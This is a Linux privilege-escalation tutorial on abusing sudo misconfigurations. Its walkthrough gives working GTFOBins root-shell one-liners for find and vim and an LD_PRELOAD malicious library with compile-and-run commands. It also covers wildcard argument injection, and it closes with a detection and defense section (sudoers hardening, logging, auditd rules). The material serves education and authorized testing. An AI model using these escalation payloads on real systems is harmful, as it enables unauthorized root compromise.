Exploiting sudo Misconfigurations with GTFOBins

Linux Privesc
Time it takes to read this article 5 minutes.

Introduction / Overview

sudo is the single most common path to root on Linux, and a single sloppy line in /etc/sudoers is often all that separates a low-privileged shell from full system compromise. In this article you'll learn how to enumerate what sudo allows, how to weaponize permissive rules using GTFOBins, and how NOPASSWD, env_keep, and LD_PRELOAD turn benign binaries into root shells. Equally important, you'll learn exactly how defenders detect and prevent each of these techniques.

Disclaimer: This material is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

How it works / Background

sudo consults /etc/sudoers (and files in /etc/sudoers.d/) to decide which commands a user may run as another user — usually root. Two design points create most of the risk:

  1. The command itself is trusted, not the action. If you can run a program as root and that program can spawn a shell, read arbitrary files, or write files, you effectively are root. GTFOBins catalogs exactly which binaries do this.
  2. The environment can leak into the privileged process. Normally sudo sanitizes environment variables (secure_path, env_reset). When an admin loosens this with env_keep or setenv, attacker-controlled variables like LD_PRELOAD or PYTHONPATH flow into the root process.

NOPASSWD removes the password barrier, which doesn't grant new commands but dramatically lowers the bar for automated and post-exploitation use.

Prerequisites / Lab setup

You need a low-privileged shell on a Linux box (a VM you control). Create a few deliberately weak rules to follow along. As root:

# Create a test user
useradd -m -s /bin/bash lowpriv && echo 'lowpriv:Passw0rd!' | chpasswd

# Drop some classic misconfigurations into a dedicated file
cat >/etc/sudoers.d/weak <<'EOF'
lowpriv ALL=(ALL) NOPASSWD: /usr/bin/find
lowpriv ALL=(ALL) NOPASSWD: /usr/bin/vim
Defaults!/usr/bin/apache2ctl env_keep += "LD_PRELOAD"
lowpriv ALL=(ALL) NOPASSWD: /usr/sbin/apache2ctl
EOF
visudo -cf /etc/sudoers.d/weak   # syntax check
Bash

Now switch to lowpriv (su - lowpriv) and start enumerating.

Attack walkthrough / PoC

Step 1 — Enumerate with sudo -l

The first command on any engagement after landing a shell:

sudo -l
Bash

Sample output:

Matching Defaults entries for lowpriv on lab:
    env_reset, mail_badpass, secure_path=/usr/sbin:/usr/bin:/sbin:/bin

User lowpriv may run the following commands on lab:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/vim
    (ALL) NOPASSWD: /usr/sbin/apache2ctl
Bash

Read every line carefully. (ALL) means you can target any user including root. NOPASSWD means no credential needed. Note any env_keep entries in the Defaults block — they're easy to skim past and are often the real prize.

Step 2 — GTFOBins: turn a binary into a shell

find is a textbook GTFOBins entry. It has an -exec primitive that runs as the calling (root) context:

sudo find . -exec /bin/sh \; -quit
# id
# uid=0(root) gid=0(root) groups=0(root)
Bash

vim is just as fatal — it can shell out or run Lua/Python:

sudo vim -c ':!/bin/sh'
# or, stealthier:
sudo vim -c ':py3 import os; os.execl("/bin/sh","sh","-pc","reset; exec sh")'
Bash

The workflow is mechanical: take each binary from sudo -l, look it up on GTFOBins under the Sudo function, and copy the one-liner. The same logic covers awk, nmap (interactive mode on old versions), less, man, tar --checkpoint-action, python -c, and dozens more.

Step 3 — Abuse env_keep and LD_PRELOAD

When sudo -l shows env_keep+=LD_PRELOAD (or setenv), you can inject a shared object into a binary that runs as root. Compile a malicious library whose constructor escalates privileges:

// shell.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");        // avoid recursion
    setgid(0);
    setuid(0);
    system("/bin/bash -p");        // -p preserves the elevated EUID
}
C
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so shell.c
sudo LD_PRELOAD=/tmp/shell.so apache2ctl
# id
# uid=0(root) ...
Bash

Because the loader processes LD_PRELOAD before main() runs, the constructor fires as root regardless of what apache2ctl actually does. The same idea applies to PYTHONPATH (drop a malicious os.py) or LD_LIBRARY_PATH when those variables survive in env_keep.

Step 4 — Wildcard and path abuse

A rule like lowpriv ALL=(root) NOPASSWD: /usr/bin/tar -czf /backup/* invites argument injection. Even without an env leak, relative paths or wildcards in sudoers commands frequently let you smuggle extra flags (e.g. tar's --checkpoint-action=exec=sh). Always test whether the rule pins the full argument list or just the binary.

Historically, even sudo itself has been vulnerable: CVE-2021-3156 ("Baron Samedit") was a heap overflow in argument parsing that gave root to any local user, regardless of sudoers rules. Confirm the host's sudo --version against patched releases (>= 1.9.5p2).

Mermaid diagram

Exploiting sudo Misconfigurations with GTFOBins diagram 1

Text summary: from a low-privileged shell, sudo -l reveals the allowed commands, which branch into a GTFOBins shell escape, an LD_PRELOAD library injection, or wildcard argument injection — all converging on root.

Detection & Defense (Blue Team)

Defense matters as much as the attack. Apply these in depth.

1. Write least-privilege sudoers rules.

  • Never grant interactive editors (vim, less, man), interpreters (python, perl), or archive/file tools (find, tar, awk) without understanding they are shell equivalents. Cross-check every entry against GTFOBins before approving it.
  • Pin full paths and exact arguments; avoid wildcards. Prefer Cmnd_Alias definitions reviewed in code.

2. Keep env_reset on and env_keep minimal.

  • Ensure Defaults env_reset is set (the default) and never add LD_PRELOAD, LD_LIBRARY_PATH, PYTHONPATH, or setenv to env_keep. Verify with:
sudo grep -rEn 'env_keep|setenv|NOPASSWD|ALL=\(ALL\)|\*' /etc/sudoers /etc/sudoers.d/
Bash

3. Patch sudo. Track CVE-2021-3156 and CVE-2023-22809 (sudoedit EDITOR injection). Keep sudo current via your package manager.

4. Enable sudo logging and I/O capture. Centralize logs and alert on shell escapes:

# /etc/sudoers
Defaults log_input, log_output
Defaults logfile="/var/log/sudo.log"
Defaults iolog_dir="/var/log/sudo-io/%{user}"
Bash

Then alert (via auditd/SIEM) when a sudo session spawns /bin/sh, /bin/bash -p, or sets LD_PRELOAD. With auditd:

auditctl -w /etc/sudoers -p wa -k sudoers_change
auditctl -a always,exit -F arch=b64 -S execve -F euid=0 -k root_exec
Bash

5. Hunt proactively. Run the same tools attackers do — sudo -l, LinPEAS, and pspy — during internal audits to catch weak rules before adversaries do.

This maps to MITRE ATT&CK T1548.003 (Abuse Elevation Control Mechanism: Sudo and Sudo Caching). Mitigations M1026 (Privileged Account Management) and M1038 (Execution Prevention) apply directly.

Conclusion

sudo misconfigurations remain one of the highest-yield Linux privilege escalation paths because they require no exploit — just a misplaced trust in a binary or an environment variable. The attacker's playbook is short: run sudo -l, match each entry against GTFOBins, and exploit any env_keep leak with LD_PRELOAD. The defender's playbook is equally clear: minimize rules, keep env_reset, audit env_keep, patch sudo, and log every elevation. Treat every line in /etc/sudoers.d/ as a potential root shell, because it very often is.

For related techniques, see Linux SUID Binary Abuse, Cron Job Privilege Escalation, and Linux Capabilities Exploitation.

References

Comments

Copied title and URL